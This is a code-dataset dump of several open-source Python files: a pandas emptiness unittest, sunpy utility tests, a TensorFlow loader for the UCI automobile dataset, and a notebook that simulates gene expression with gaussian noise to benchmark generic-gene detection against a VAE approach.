"max_stars_repo_name": "console-beaver/MIT-Racecar-cbeast", "max_stars_repo_head_hexsha": "f7f9c156e7072da7acc680ae1ad1de344253ae05", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "labs/lab2/lab2a.py", "max_issues_repo_name": "console-beaver/MIT-Racecar-cbeast", "max_issues_repo_head_hexsha": "f7f9c156e7072da7acc680ae1ad1de344253ae05", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "labs/lab2/lab2a.py", "max_forks_repo_name": "console-beaver/MIT-Racecar-cbeast", "max_forks_repo_head_hexsha": "f7f9c156e7072da7acc680ae1ad1de344253ae05", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.481865285, "max_line_length": 88, "alphanum_fraction": 0.5748923273, "include": true, "reason": "import numpy", "num_tokens": 1377, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.12252320931407355, "lm_q1q2_score": 0.05839206834210291}}
{"text": "import pandas as pd\r\nimport numpy as np\r\nimport unittest\r\n\r\nclass Mytest(unittest.TestCase):\r\n    '''\r\n    If a dataframe is empty ,it checks and returns empty\r\n    note: Nan is not considered as empty\r\n    '''\r\n    def setUp(self):\r\n        self.df_empty = pd.DataFrame({'A': []})\r\n        self.df=pd.DataFrame({'H' : [np.nan]})\r\n\r\n    def test_Empty(self):\r\n        self.assertEqual((self.df_empty).empty,(True))\r\n        self.assertEqual((self.df).empty, (False))\r\n        self.assertEqual(pd.Series([]).empty,(True))\r\n\r\nif __name__  == '__main__':\r\n    unittest.main()", "meta": {"hexsha": "09fc1af12ff311b7ce8ff2e1afbf172cbd00cdae", "size": 572, "ext": "py", "lang": "Python", "max_stars_repo_path": "Test_Empty.py", "max_stars_repo_name": "soothingjennyg/pandasTestingProject", "max_stars_repo_head_hexsha": "c1bf9ec30723316c992f57dd9e2c5e2215dbe595", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Test_Empty.py", "max_issues_repo_name": "soothingjennyg/pandasTestingProject", "max_issues_repo_head_hexsha": "c1bf9ec30723316c992f57dd9e2c5e2215dbe595", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Test_Empty.py", "max_forks_repo_name": "soothingjennyg/pandasTestingProject", "max_forks_repo_head_hexsha": "c1bf9ec30723316c992f57dd9e2c5e2215dbe595", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-12-08T20:59:09.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-08T20:59:09.000Z", "avg_line_length": 28.6, "max_line_length": 57, "alphanum_fraction": 0.6083916084, "include": true, "reason": "import numpy", "num_tokens": 132, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.12252320290590249, "lm_q1q2_score": 0.058392065288098975}}
{"text": "\"\"\"\nThis module tests the functions implemented in sunpy.util.util.\n\"\"\"\n\nfrom __future__ import absolute_import, division, print_function\nimport numpy as np\n\nimport pytest\nfrom pytest_mock import mocker\n\nfrom sunpy.util import util\n\n\ndef test_to_signed():\n    \"\"\"\n    This should return a signed type that can hold uint32 and ensure that\n    an exception is raised when attempting to convert an unsigned 64 bit integer\n    to an integer\n    \"\"\"\n    assert util.to_signed(np.dtype('uint32')) == np.dtype('int64')\n\n    with pytest.raises(ValueError):\n        util.to_signed(np.dtype('uint64')) == np.dtype('int64')\n\n\ndef test_unique():\n    \"\"\"\n    This should add the unique values of itr to unique_list.\n    \"\"\"\n    itr = [6, 1, 2, 1, 7, 41.2, '41.2', 1, '41.2']\n    unique_list = []\n    for elem in util.unique(itr):\n        unique_list.append(elem)\n    assert unique_list == [6, 1, 2, 7, 41.2, '41.2']\n\n\ndef test_unique_key():\n    \"\"\"\n    This should add each element of itr to unique_list if no preceding\n    element is congruent to it in mod 10.\n    \"\"\"\n    itr = [7, 3, 17, 104, 6, 1006, 117, 14, 10]\n    unique_list = []\n    for elem in util.unique(itr, lambda x: x % 10):\n        unique_list.append(elem)\n    assert unique_list == [7, 3, 104, 6, 10]\n\n\ndef test_print_table():\n    \"\"\"\n    This should return a string representation of lst with table elements\n    left-justified and with columns separated by dashes.\n    \"\"\"\n    lst = [['n', 'sqrt(n)', 'n^2'],\n           ['1', '1', '1'],\n           ['4', '2', '16'],\n           ['3', '1.732', '9']]\n    expected = ('n|sqrt(n)|n^2\\n'\n                '1|1      |1  \\n'\n                '4|2      |16 \\n'\n                '3|1.732  |9  ')\n    assert util.print_table(lst, colsep='|') == expected\n\n\ndef test_minimal_pairs():\n    \"\"\"\n    This should return the pairs of elements from list1 and list2 with\n    minimal difference between their values.\n    \"\"\"\n    list1 = [0, 5, 10, 15, 20, 25]\n    list2 = [3, 12, 19, 21, 26, 29]\n    assert list(util.minimal_pairs(list1, list2)) == [(1, 0, 2), (2, 1, 2),\n                                                      (4, 2, 1), (5, 4, 1)]\n\n\ndef test_find_next():\n    \"\"\"\n    This should return a generator yielding the nearest larger element in\n    list2 for each element in list1 (or None if none exists after the\n    previous element yielded from list2).\n    \"\"\"\n    list1 = [1, 2, 3, 4, 5, 6, 7, 8, 9]\n    list2 = [0, 2, 3, 5, 0, 0, 5, 9, 10, 15]\n    assert list(util.find_next(list1, list2, None)) == [(1, 2), (2, 3), (3, 5), (4, 5), (5, 9),\n                                                        (6, 10), (7, 15), (8, None), (9, None)]\n\n\ndef test_common_base():\n    \"\"\"\n    This should return the base class common to each object in objs.\n    \"\"\"\n    class TestA(object):\n        \"\"\"Base test class.\"\"\"\n        pass\n\n    class TestB(TestA):\n        \"\"\"First inherited class.\"\"\"\n        pass\n\n    class TestC(TestA):\n        \"\"\"Second inherited class.\"\"\"\n        pass\n    inst_b = TestB()\n    inst_c = TestC()\n    objs = [inst_b, inst_c]\n    assert util.common_base(objs) == TestA\n\n\ndef test_merge():\n    \"\"\"\n    This should return a sorted (from greatest to least) merged list\n    from list1 and list2.\n    \"\"\"\n    list1 = [13, 11, 9, 7, 5, 3, 1]\n    list2 = [14, 12, 10, 8, 6, 4, 2]\n    result = list(util.merge([list1, list2]))\n    assert result[::-1] == sorted(result)\n\n    assert list(util.merge([[], [1], []])) == [1]\n\n\ndef test_replacement_filename():\n    \"\"\"\n    This should return a replacement path for the current file.\n    \"\"\"\n    assert util.replacement_filename(__file__).endswith('test_util.0.py')\n\n\ndef test_replacement_filename_path_not_exists(mocker):\n    \"\"\"\n    If a candidate path does not exist, then just return it as it is OK to use\n    \"\"\"\n    path_not_exists = '/tmp'\n    mocker.patch('os.path.exists', return_value=False)\n\n    assert util.replacement_filename(path_not_exists) == path_not_exists\n\n\ndef test_expand_list():\n    \"\"\"\n    This should return an expanded version of list lst.\n    \"\"\"\n    lst = [1, 2, 3, [4, 5, 6], 7, (8, 9), ((10, 11), ((12, 13),))]\n    assert util.expand_list(lst) == [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]\n\n\ndef test_expand_list_generator():\n\n    lst = ['a', 'b', [], (['c', 'd']), tuple(), ['e']]\n    assert list(util.expand_list_generator(lst)) == ['a', 'b', 'c', 'd', 'e']\n", "meta": {"hexsha": "b9dbb7f196ac7663112f93f8f20c53342f4b1651", "size": 4333, "ext": "py", "lang": "Python", "max_stars_repo_path": "sunpy/util/tests/test_util.py", "max_stars_repo_name": "Naman9639/sunpy", "max_stars_repo_head_hexsha": "24c0cfbd9b03d7f9554bc86036fac2b78a5fcc56", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "sunpy/util/tests/test_util.py", "max_issues_repo_name": "Naman9639/sunpy", "max_issues_repo_head_hexsha": "24c0cfbd9b03d7f9554bc86036fac2b78a5fcc56", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "sunpy/util/tests/test_util.py", "max_forks_repo_name": "Naman9639/sunpy", "max_forks_repo_head_hexsha": "24c0cfbd9b03d7f9554bc86036fac2b78a5fcc56", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.6953642384, "max_line_length": 95, "alphanum_fraction": 0.5718901454, "include": true, "reason": "import numpy", "num_tokens": 1307, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45713671682749474, "lm_q2_score": 0.1276526302998559, "lm_q1q2_score": 0.0583547043096701}}
{"text": "# Copyright 2016 The TensorFlow Authors. All Rights Reserved.\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n#     http://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n# ==============================================================================\r\n\"\"\"A dataset loader for imports85.data.\"\"\"\r\n\r\nfrom __future__ import absolute_import\r\nfrom __future__ import division\r\nfrom __future__ import print_function\r\n\r\nimport collections\r\n\r\nimport numpy as np\r\nimport tensorflow as tf\r\n\r\ntry:\r\n  import pandas as pd  # pylint: disable=g-import-not-at-top\r\nexcept ImportError:\r\n  pass\r\n\r\n\r\nURL = \"https://archive.ics.uci.edu/ml/machine-learning-databases/autos/imports-85.data\"\r\n\r\n# Order is important for the csv-readers, so we use an OrderedDict here.\r\ndefaults = collections.OrderedDict([\r\n    (\"symboling\", [0]),\r\n    (\"normalized-losses\", [0.0]),\r\n    (\"make\", [\"\"]),\r\n    (\"fuel-type\", [\"\"]),\r\n    (\"aspiration\", [\"\"]),\r\n    (\"num-of-doors\", [\"\"]),\r\n    (\"body-style\", [\"\"]),\r\n    (\"drive-wheels\", [\"\"]),\r\n    (\"engine-location\", [\"\"]),\r\n    (\"wheel-base\", [0.0]),\r\n    (\"length\", [0.0]),\r\n    (\"width\", [0.0]),\r\n    (\"height\", [0.0]),\r\n    (\"curb-weight\", [0.0]),\r\n    (\"engine-type\", [\"\"]),\r\n    (\"num-of-cylinders\", [\"\"]),\r\n    (\"engine-size\", [0.0]),\r\n    (\"fuel-system\", [\"\"]),\r\n    (\"bore\", [0.0]),\r\n    (\"stroke\", [0.0]),\r\n    (\"compression-ratio\", [0.0]),\r\n    (\"horsepower\", [0.0]),\r\n    (\"peak-rpm\", [0.0]),\r\n    (\"city-mpg\", [0.0]),\r\n    (\"highway-mpg\", [0.0]),\r\n    (\"price\", [0.0])\r\n])  # pyformat: disable\r\n\r\n\r\ntypes = collections.OrderedDict((key, type(value[0]))\r\n                                for key, value in defaults.items())\r\n\r\n\r\ndef _get_imports85():\r\n  path = tf.contrib.keras.utils.get_file(URL.split(\"/\")[-1], URL)\r\n  return path\r\n\r\n\r\ndef dataset(y_name=\"price\", train_fraction=0.7):\r\n  \"\"\"Load the imports85 data as a (train,test) pair of `Dataset`.\r\n\r\n  Each dataset generates (features_dict, label) pairs.\r\n\r\n  Args:\r\n    y_name: The name of the column to use as the label.\r\n    train_fraction: A float, the fraction of data to use for training. The\r\n        remainder will be used for evaluation.\r\n  Returns:\r\n    A (train,test) pair of `Datasets`\r\n  \"\"\"\r\n  # Download and cache the data\r\n  path = _get_imports85()\r\n\r\n  # Define how the lines of the file should be parsed\r\n  def decode_line(line):\r\n    \"\"\"Convert a csv line into a (features_dict,label) pair.\"\"\"\r\n    # Decode the line to a tuple of items based on the types of\r\n    # csv_header.values().\r\n    items = tf.decode_csv(line, list(defaults.values()))\r\n\r\n    # Convert the keys and items to a dict.\r\n    pairs = zip(defaults.keys(), items)\r\n    features_dict = dict(pairs)\r\n\r\n    # Remove the label from the features_dict\r\n    label = features_dict.pop(y_name)\r\n\r\n    return features_dict, label\r\n\r\n  def has_no_question_marks(line):\r\n    \"\"\"Returns True if the line of text has no question marks.\"\"\"\r\n    # split the line into an array of characters\r\n    chars = tf.string_split(line[tf.newaxis], \"\").values\r\n    # for each character check if it is a question mark\r\n    is_question = tf.equal(chars, \"?\")\r\n    any_question = tf.reduce_any(is_question)\r\n    no_question = ~any_question\r\n\r\n    return no_question\r\n\r\n  def in_training_set(line):\r\n    \"\"\"Returns a boolean tensor, true if the line is in the training set.\"\"\"\r\n    # If you randomly split the dataset you won't get the same split in both\r\n    # sessions if you stop and restart training later. Also a simple\r\n    # random split won't work with a dataset that's too big to `.cache()` as\r\n    # we are doing here.\r\n    num_buckets = 1000000\r\n    bucket_id = tf.string_to_hash_bucket_fast(line, num_buckets)\r\n    # Use the hash bucket id as a random number that's deterministic per example\r\n    return bucket_id < int(train_fraction * num_buckets)\r\n\r\n  def in_test_set(line):\r\n    \"\"\"Returns a boolean tensor, true if the line is in the training set.\"\"\"\r\n    # Items not in the training set are in the test set.\r\n    # This line must use `~` instead of `not` because `not` only works on python\r\n    # booleans but we are dealing with symbolic tensors.\r\n    return ~in_training_set(line)\r\n\r\n  base_dataset = (\r\n      tf.data\r\n      # Get the lines from the file.\r\n      .TextLineDataset(path)\r\n      # drop lines with question marks.\r\n      .filter(has_no_question_marks))\r\n\r\n  train = (base_dataset\r\n           # Take only the training-set lines.\r\n           .filter(in_training_set)\r\n           # Decode each line into a (features_dict, label) pair.\r\n           .map(decode_line)\r\n           # Cache data so you only decode the file once.\r\n           .cache())\r\n\r\n  # Do the same for the test-set.\r\n  test = (base_dataset.filter(in_test_set).cache().map(decode_line))\r\n\r\n  return train, test\r\n\r\n\r\ndef raw_dataframe():\r\n  \"\"\"Load the imports85 data as a pd.DataFrame.\"\"\"\r\n  # Download and cache the data\r\n  path = _get_imports85()\r\n\r\n  # Load it into a pandas dataframe\r\n  df = pd.read_csv(path, names=types.keys(), dtype=types, na_values=\"?\")\r\n\r\n  return df\r\n\r\n\r\ndef load_data(y_name=\"price\", train_fraction=0.7, seed=None):\r\n  \"\"\"Get the imports85 data set.\r\n\r\n  A description of the data is available at:\r\n    https://archive.ics.uci.edu/ml/datasets/automobile\r\n\r\n  The data itself can be found at:\r\n    https://archive.ics.uci.edu/ml/machine-learning-databases/autos/imports-85.data\r\n\r\n  Args:\r\n    y_name: the column to return as the label.\r\n    train_fraction: the fraction of the dataset to use for training.\r\n    seed: The random seed to use when shuffling the data. `None` generates a\r\n      unique shuffle every run.\r\n  Returns:\r\n    a pair of pairs where the first pair is the training data, and the second\r\n    is the test data:\r\n    `(x_train, y_train), (x_test, y_test) = get_imports85_dataset(...)`\r\n    `x` contains a pandas DataFrame of features, while `y` contains the label\r\n    array.\r\n  \"\"\"\r\n  # Load the raw data columns.\r\n  data = raw_dataframe()\r\n\r\n  # Delete rows with unknowns\r\n  data = data.dropna()\r\n\r\n  # Shuffle the data\r\n  np.random.seed(seed)\r\n\r\n  # Split the data into train/test subsets.\r\n  x_train = data.sample(frac=train_fraction, random_state=seed)\r\n  x_test = data.drop(x_train.index)\r\n\r\n  # Extract the label from the features dataframe.\r\n  y_train = x_train.pop(y_name)\r\n  y_test = x_test.pop(y_name)\r\n\r\n  return (x_train, y_train), (x_test, y_test)\r\n", "meta": {"hexsha": "1c825a7abc670bb8c4eb67b619c23a838842858d", "size": 6793, "ext": "py", "lang": "Python", "max_stars_repo_path": "tensorflow/examples/get_started/regression/imports85.py", "max_stars_repo_name": "uve/tensorflow", "max_stars_repo_head_hexsha": "e08079463bf43e5963acc41da1f57e95603f8080", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tensorflow/examples/get_started/regression/imports85.py", "max_issues_repo_name": "uve/tensorflow", "max_issues_repo_head_hexsha": "e08079463bf43e5963acc41da1f57e95603f8080", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tensorflow/examples/get_started/regression/imports85.py", "max_forks_repo_name": "uve/tensorflow", "max_forks_repo_head_hexsha": "e08079463bf43e5963acc41da1f57e95603f8080", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.1365853659, "max_line_length": 88, "alphanum_fraction": 0.6415427646, "include": true, "reason": "import numpy", "num_tokens": 1684, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.1175721397294269, "lm_q1q2_score": 0.05832681303746142}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.9.1+dev\n#   kernelspec:\n#     display_name: Python [conda env:generic_expression] *\n#     language: python\n#     name: conda-env-generic_expression-py\n# ---\n\n# # Examine simulation approach\n#\n# **Question:** Can we separate between generic and specific genes by adding gaussian noise to simulate experiments? Does VAE approach recapitulate generic genes better than gaussian noise approach?\n#\n# To answer this question we will compare how well SOPHIE (VAE approach) can recapitulate manually curated generic genes (Crow et al.) compared to generic genes generated using noise approach\n#\n# In this notebook we will:\n# 1. Generate the noise simulated experiments\n# 2. Compare generic genes against Crow et al. generic genes\n# 3. Compare SOPHIE vs Crow et al. results against noise vs Crow et al. results. The results for SOPHIE vs Crow et al. can be found [here](http://localhost:8888/notebooks/human_general_analysis/2_identify_generic_genes_pathways.ipynb).\n\n# +\n# %load_ext autoreload\n# %load_ext rpy2.ipython\n# %autoreload 2\n\nimport os\nimport sys\nimport pandas as pd\nimport numpy as np\nimport pickle\nimport scipy.stats as ss\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom rpy2.robjects import pandas2ri\nfrom ponyo import utils\nfrom generic_expression_patterns_modules import process, stats, ranking\n\npandas2ri.activate()\n\nnp.random.seed(123)\n\n# +\n# Read in config variables\nbase_dir = os.path.abspath(os.path.join(os.getcwd(), \"../\"))\n\nconfig_filename = os.path.abspath(\n    os.path.join(base_dir, \"configs\", \"config_human_general.tsv\")\n)\n\nparams = utils.read_config(config_filename)\n\n# +\n# Load params\nlocal_dir = params[\"local_dir\"]\nproject_id = params[\"project_id\"]\ndataset_name = params[\"dataset_name\"]\nmapped_template_filename = params[\"mapped_template_filename\"]\nprocessed_template_filename = params[\"processed_template_filename\"]\nnum_runs = params[\"num_simulated\"]\ncol_to_rank_genes = params[\"rank_genes_by\"]\ncount_threshold = params[\"count_threshold\"]\nlogFC_name = params[\"DE_logFC_name\"]\npvalue_name = params[\"DE_pvalue_name\"]\n\n# Set mean and standard deviation for noise distribution\n# Here I played around with different sigma values\nmu = 0\nsigma = 1000\n\n# Load metadata file with grouping assignments for samples\nsample_id_metadata_filename = os.path.join(\n    base_dir, dataset_name, \"data\", \"metadata\", f\"{project_id}_process_samples.tsv\"\n)\n\n# Load metadata file with grouping assignments for samples\nmetadata_filename = os.path.join(\n    base_dir, dataset_name, \"data\", \"metadata\", f\"{project_id}_groups.tsv\"\n)\n\n# Percentile threshold to identify generic genes\npercentile_threshold = 80.0\n# -\n\n# Output files\ngene_summary_filename = os.path.join(\n    base_dir, dataset_name, f\"generic_gene_summary_{project_id}_noise_model.tsv\"\n)\n\n# ## Simulate data using noise approach\n#\n# 1. Start with template experiment\n# 2. Add gaussian noise vector to each sample\n# 3. Process simulated data to remove any unnecessary samples\n\n# Create subdirectory: \"<local_dir>/pseudo_experiment_noise/\"\nos.makedirs(os.path.join(local_dir, \"pseudo_experiment_noise\"), exist_ok=True)\n\nmapped_template = pd.read_csv(mapped_template_filename, sep=\"\\t\", index_col=0, header=0)\n\n# Simulate data by adding noise\nfor i in range(num_runs):\n    simulated_data_filename = os.path.join(\n        local_dir,\n        \"pseudo_experiment_noise\",\n        f\"selected_simulated_data_{project_id}_{i}.txt\",\n    )\n\n    noise = np.random.normal(mu, sigma, mapped_template.shape)\n\n    simulated_data = mapped_template + noise\n\n    # Set any negative counts to 0\n    simulated_data[simulated_data < 0] = 0\n\n    simulated_data.to_csv(simulated_data_filename, sep=\"\\t\")\n\n# ### Examine distribution of template data\n#\n# We want to play around with the amount of noise that we add and so it would be a good idea to know what the distribution looks like for the original data\n\nprint(mapped_template.mean().mean())\nsns.displot(mapped_template.mean())\nplt.title(\"Mean gene expression for template experiment\")\n\nprint(mapped_template.std().mean())\nsns.displot(mapped_template.std())\nplt.title(\"Std gene expression for template experiment\")\n\n# ## Quick check\n#\n# Check that we are producing distinct simulated experiments (i.e. that we are not getting the same values for each simulated experiment)\n#\n# Here I randomly selected two different simulated experiments. File names for the simulated experiments have the following format `selected_simulated_data_{project_id}_<unique identifier>_processed.txt`. I selected two simulated experiments by their integer identifier.\n\nmapped_template.head()\n\n# +\nsimulated_data_filename_0 = os.path.join(\n    local_dir,\n    \"pseudo_experiment_noise\",\n    f\"selected_simulated_data_{project_id}_0_processed.txt\",\n)\n\nsimulated_0 = pd.read_csv(simulated_data_filename_0, sep=\"\\t\", index_col=0, header=0)\n\nsimulated_0.head()\n\n# +\nsimulated_data_filename_20 = os.path.join(\n    local_dir,\n    \"pseudo_experiment_noise\",\n    f\"selected_simulated_data_{project_id}_20_processed.txt\",\n)\n\nsimulated_20 = pd.read_csv(simulated_data_filename_20, sep=\"\\t\", index_col=0, header=0)\n\nsimulated_20.head()\n# -\n\n# ## Process template and simulated experiments\n#\n# * Remove samples not required for comparison\n# * Make sure ordering of samples matches metadata for proper comparison\n# * Make sure values are cast as integers for using DESeq\n# * Filter lowly expressed genes for using DESeq\n\n# +\nif not os.path.exists(sample_id_metadata_filename):\n    sample_id_metadata_filename = None\n\nstats.process_samples_for_DESeq(\n    mapped_template_filename,\n    metadata_filename,\n    processed_template_filename,\n    count_threshold,\n    sample_id_metadata_filename,\n)\n\nfor i in range(num_runs):\n    simulated_filename = os.path.join(\n        local_dir,\n        \"pseudo_experiment_noise\",\n        f\"selected_simulated_data_{project_id}_{i}.txt\",\n    )\n    out_simulated_filename = os.path.join(\n        local_dir,\n        \"pseudo_experiment_noise\",\n        f\"selected_simulated_data_{project_id}_{i}_processed.txt\",\n    )\n    stats.process_samples_for_DESeq(\n        simulated_filename,\n        metadata_filename,\n        out_simulated_filename,\n        count_threshold,\n        sample_id_metadata_filename,\n    )\n# -\n\n# ## Differential expression analysis\n#\n# The gene expression dataset is using RNA-seq so we will use DESeq2 in this case\n\n# Create subdirectory: \"<local_dir>/DE_stats/\"\nos.makedirs(os.path.join(local_dir, \"DE_stats\"), exist_ok=True)\n\n# + magic_args=\"-i metadata_filename -i project_id -i processed_template_filename -i local_dir -i base_dir\" language=\"R\"\n#\n# source(paste0(base_dir, '/generic_expression_patterns_modules/DE_analysis.R'))\n#\n# # File created: \"<local_dir>/DE_stats/DE_stats_template_data_<project_id>_real.txt\"\n# get_DE_stats_DESeq(metadata_filename,\n#                    project_id,\n#                    processed_template_filename,\n#                    \"template\",\n#                    local_dir,\n#                    \"real\")\n\n# +\n# Check number of DEGs\ntemplate_DE_stats_filename = os.path.join(\n    local_dir, \"DE_stats\", f\"DE_stats_template_data_{project_id}_real.txt\"\n)\n\ntemplate_DE_stats = pd.read_csv(\n    template_DE_stats_filename, sep=\"\\t\", header=0, index_col=0\n)\n\nselected = template_DE_stats[\n    (template_DE_stats[\"padj\"] < 0.01) & (abs(template_DE_stats[\"log2FoldChange\"]) > 1)\n]\nprint(selected.shape)\n\n# + magic_args=\"-i metadata_filename -i project_id -i base_dir -i local_dir -i num_runs\" language=\"R\"\n#\n# source(paste0(base_dir, '/generic_expression_patterns_modules/DE_analysis.R'))\n#\n# # Files created: \"<local_dir>/DE_stats/DE_stats_simulated_data_SRP012656_<n>.txt\"\n# for (i in 0:(num_runs-1)){\n#     simulated_data_filename <- paste(local_dir,\n#                                      \"pseudo_experiment_noise/selected_simulated_data_\",\n#                                      project_id,\n#                                      \"_\",\n#                                      i,\n#                                      \"_processed.txt\",\n#                                      sep = \"\")\n#\n#     get_DE_stats_DESeq(metadata_filename,\n#                        project_id,\n#                        simulated_data_filename,\n#                        \"simulated\",\n#                        local_dir,\n#                        i)\n# }\n# -\n\n# ## Rank genes\n\nanalysis_type = \"DE\"\ntemplate_DE_stats, simulated_DE_summary_stats = ranking.process_and_rank_genes_pathways(\n    template_DE_stats_filename,\n    local_dir,\n    num_runs,\n    project_id,\n    analysis_type,\n    col_to_rank_genes,\n    logFC_name,\n    pvalue_name,\n)\n\n# ## Gene summary table\n#\n# Note: Using DESeq, genes with NaN in `Adj P-value (Real)` column are those genes flagged because of the `cooksCutoff` parameter. The cook's distance as a diagnostic to tell if a single sample has a count which has a disproportionate impact on the log fold change and p-values. These genes are flagged with an NA in the pvalue and padj columns of the result table. For more information you can read [DESeq FAQs](https://bioconductor.org/packages/release/bioc/vignettes/DESeq2/inst/doc/DESeq2.html#pvaluesNA)\n\n# +\nsummary_gene_ranks = ranking.generate_summary_table(\n    template_DE_stats_filename,\n    template_DE_stats,\n    simulated_DE_summary_stats,\n    col_to_rank_genes,\n    local_dir,\n    \"gene\",\n    params,\n)\n\nsummary_gene_ranks.head()\n# -\n\nsummary_gene_ranks.isna().any()\n\n# Create `gene_summary_filename`\nsummary_gene_ranks.to_csv(gene_summary_filename, sep=\"\\t\")\n\n# ## Compare gene ranking\n# Studies have found that some genes are more likely to be differentially expressed even across a wide range of experimental designs. These *generic genes* are not necessarily specific to the biological process being studied but instead represent a more systematic change.\n#\n# We want to compare the ability to detect these generic genes using our method vs those found by [Crow et. al. publication](https://www.pnas.org/content/pnas/116/13/6491.full.pdf). Their genes are ranked 0 = not commonly DE; 1 = commonly DE. Genes by the number differentially expressed gene sets they appear in and then ranking genes by this score.\n\n# +\n# Get generic genes identified by Crow et. al.\nDE_prior_filename = params[\"reference_gene_filename\"]\nref_gene_col = params[\"reference_gene_name_col\"]\nref_rank_col = params[\"reference_rank_col\"]\n\nfigure_filename = f\"gene_ranking_{col_to_rank_genes}.svg\"\n\ncorr, shared_ranking = ranking.compare_gene_ranking(\n    summary_gene_ranks, DE_prior_filename, ref_gene_col, ref_rank_col, figure_filename\n)\n\n# +\n# Hypergeometric test:\n# Given N number of genes with K common genes in Crow et al.\n# SOPHIE identifies n genes as being common\n# What is the probability that k of the genes identified by SOPHIE\n# are also common in Crow et al.? What is the probability of drawing\n# k or more concordant genes?\n\nnum_Crow_genes = shared_ranking.shape[0]\nnum_generic_Crow_genes = shared_ranking.query(f\"{ref_rank_col}>=80.0\").shape[0]\nnum_generic_noise_genes = shared_ranking[\n    shared_ranking[\"Percentile (simulated)\"] >= percentile_threshold\n].shape[0]\nnum_concordant_generic_genes = shared_ranking[\n    (shared_ranking[ref_rank_col] >= percentile_threshold)\n    & (shared_ranking[\"Percentile (simulated)\"] >= percentile_threshold)\n].shape[0]\n# -\n\nprint(num_Crow_genes)\nprint(num_generic_Crow_genes)\nprint(num_generic_noise_genes)\nprint(num_concordant_generic_genes)\n\np = ss.hypergeom.sf(\n    num_concordant_generic_genes,\n    num_Crow_genes,\n    num_generic_Crow_genes,\n    num_generic_noise_genes,\n)\nprint(p)\n\n# **Takeaway**\n# * Looks like noise and VAE can both recapitulate generic genes, which is expected.\n# * Looks like template experiment already expresses generic genes (refer to other [notebook](comparisons_against_template.ipynb), so adding a small amount of noise (Normal(0,2)) will still find these generic results. This is expected, given that generic genes are \"generic\" because they are found across many experiments.\n# * The reason that we think that generic genes are found by both the VAE approach and this noise approach is because they are \"generic\". So these generic signals are already found to exist across many experiments and by adding noise to the experiments we are disrupting that signal a bit but its still there.\n#\n# The benefit to using a VAE, presumably, is that the VAE will allow us to identify those specific genes by generating different types of experiments, where as the noise approach is limited to generating the same experiment but with different amounts of noise added.\n#\n# So, what we really want to determine is if SOPHIE can better **separate** between generic and specific genes. To do this, we would need a gold standard for what are specific genes for some experiment, which we do not have. So for now we will leave the experiment as is.\n", "meta": {"hexsha": "7e101ca711ea2468fc5d7a0f5ca807b7e28e92ba", "size": 12972, "ext": "py", "lang": "Python", "max_stars_repo_path": "explore_simulation_approach/1_simulate_and_identify_generic_genes_using_noise_approach.py", "max_stars_repo_name": "ajlee21/generic-expression-patterns", "max_stars_repo_head_hexsha": "c73b425a0d39fa57d2014dd9f879188cc915a54a", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 8, "max_stars_repo_stars_event_min_datetime": "2020-07-24T01:05:51.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-20T20:02:30.000Z", "max_issues_repo_path": "explore_simulation_approach/1_simulate_and_identify_generic_genes_using_noise_approach.py", "max_issues_repo_name": "ajlee21/generic-expression-patterns", "max_issues_repo_head_hexsha": "c73b425a0d39fa57d2014dd9f879188cc915a54a", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 